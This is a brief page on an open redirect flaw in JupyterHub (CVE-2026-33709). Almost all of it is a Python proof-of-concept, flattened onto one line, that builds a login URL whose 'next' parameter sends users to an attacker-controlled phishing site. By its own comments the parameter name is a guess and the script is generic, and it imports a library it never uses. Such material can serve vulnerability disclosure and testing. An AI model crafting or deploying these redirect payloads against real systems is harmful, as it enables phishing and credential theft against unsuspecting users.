CVE-2026-33709 JupyterHub开放重定向漏洞

import requests # Proof of Concept for CVE-2026-33709 # This script demonstrates how an attacker might craft a URL to exploit the open redirect vulnerability. target_domain = "https://example-jupyterhub.com" malicious_site = "https://attacker-controlled-site.com/phishing" # Constructing the malicious payload. # Note: The specific parameter name (e.g., 'next') depends on the implementation details of JupyterHub. # This is a generic representation of the exploit. exploit_url = f"{target_domain}/login?next={malicious_site}" print(f"[+] Malicious URL generated: {exploit_url}") print("[+] When a user clicks this link and logs in, they will be redirected to the attacker's site.")